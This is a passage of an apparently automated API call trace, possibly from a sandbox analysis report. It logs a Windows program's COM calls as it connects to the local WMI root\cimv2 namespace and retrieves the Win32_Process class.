[5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0124.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d1760) returned 0x0 [0124.455] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1760, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.455] WbemDefPath:IUnknown:Release (This=0x1b4d1760) returned 0x3 [0124.455] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0124.455] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0124.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0124.455] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x2 [0124.455] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x1 [0124.455] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0124.455] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0124.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x656cf0) returned 0x0 [0124.455] WbemDefPath:IUnknown:AddRef (This=0x656cf0) returned 0x3 [0124.455] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x2 [0124.455] WbemDefPath:IWbemPath:SetText (This=0x656cf0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0124.455] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0124.455] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0124.455] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.455] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0124.455] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0124.455] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0124.455] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.456] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2520) returned 0x0 [0124.456] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2520, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0124.456] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2520, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d1ee0) returned 0x0 [0124.456] WbemLocator:IUnknown:Release (This=0x1b4d2520) returned 0x0 [0124.456] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d1ee0) returned 0x0 [0124.456] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0124.456] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0124.456] WbemLocator:IUnknown:AddRef (This=0x1b4d1ee0) returned 0x3 [0124.456] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0124.456] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0124.457] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0124.457] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0124.457] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0124.457] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0124.457] WbemLocator:IUnknown:Release (This=0x1b4d1ee0) returned 0x2 [0124.457] WbemLocator:IUnknown:Release (This=0x1b4d1ee0) returned 0x1 [0124.457] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0124.457] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0124.457] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1ee0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d1ee0) returned 0x0 [0124.457] WbemLocator:IUnknown:AddRef (This=0x1b4d1ee0) returned 0x3 [0124.457] WbemLocator:IUnknown:Release (This=0x1b4d1ee0) returned 0x2 [0124.457] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0124.457] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0124.457] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.457] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d1f60) returned 0x0 [0124.457] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d1f60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4e02c0) returned 0x0 [0124.589] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e02c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511050) returned 0x0 [0124.589] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511050, pProxy=0x1b4e02c0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0124.589] WbemLocator:IUnknown:Release (This=0x1b511050) returned 0x1 [0124.589] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e02c0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511098) returned 0x0 [0124.590] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e02c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511050) returned 0x0 [0124.590] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511050, pProxy=0x1b4e02c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0124.590] WbemLocator:IUnknown:Release (This=0x1b511050) returned 0x2 [0124.590] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x1 [0124.590] CoTaskMemFree (pv=0x1b462000) [0124.590] WbemLocator:IUnknown:Release (This=0x1b4d1f60) returned 0x0 [0124.590] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e02c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511098) returned 0x0 [0124.590] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0124.594] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0124.597] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e02c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0124.602] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0124.602] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0124.602] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0124.602] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b510f78) returned 0x0 [0124.602] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510f78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.602] WbemLocator:IUnknown:Release (This=0x1b510f78) returned 0x3 [0124.602] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0124.602] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0124.602] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511060) returned 0x0 [0124.602] WbemLocator:IRpcOptions:Query (in: This=0x1b511060, pPrx=0x1b511098, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0124.602] WbemLocator:IUnknown:Release (This=0x1b511060) returned 0x3 [0124.602] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0124.603] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0124.603] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0124.603] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4e02c0) returned 0x0 [0124.603] WbemLocator:IUnknown:AddRef (This=0x1b4e02c0) returned 0x4 [0124.603] WbemLocator:IUnknown:Release (This=0x1b4e02c0) returned 0x3 [0124.603] WbemLocator:IUnknown:Release (This=0x1b4e02c0) returned 0x2 [0124.603] SysStringLen (param_1=0x0) returned 0x0 [0124.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0124.603] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0124.603] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.603] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0124.603] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0124.603] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511098) returned 0x0 [0124.603] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0124.603] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0124.603] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0124.603] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0124.603] IWbemServices:GetObject (in: This=0x1b4e02c0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d97f0, ppCallResult=0x0) returned 0x0 [0124.610] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0124.610] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0124.611] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0124.611] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0124.611] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0124.611] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0124.611] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.612] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d2320) returned 0x0 [0124.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2320, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0124.612] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2320, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x656b70) returned 0x0 [0124.612] WbemDefPath:IUnknown:Release (This=0x1b4d2320) returned 0x0 [0124.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x656b70) returned 0x0 [0124.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0124.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0124.612] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0124.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0124.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0124.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d21c0) returned 0x0 [0124.612] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d21c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.612] WbemDefPath:IUnknown:Release (This=0x1b4d21c0) returned 0x3 [0124.613] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0124.613] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0124.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0124.613] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0124.613] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0124.613] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0124.613] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0124.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: 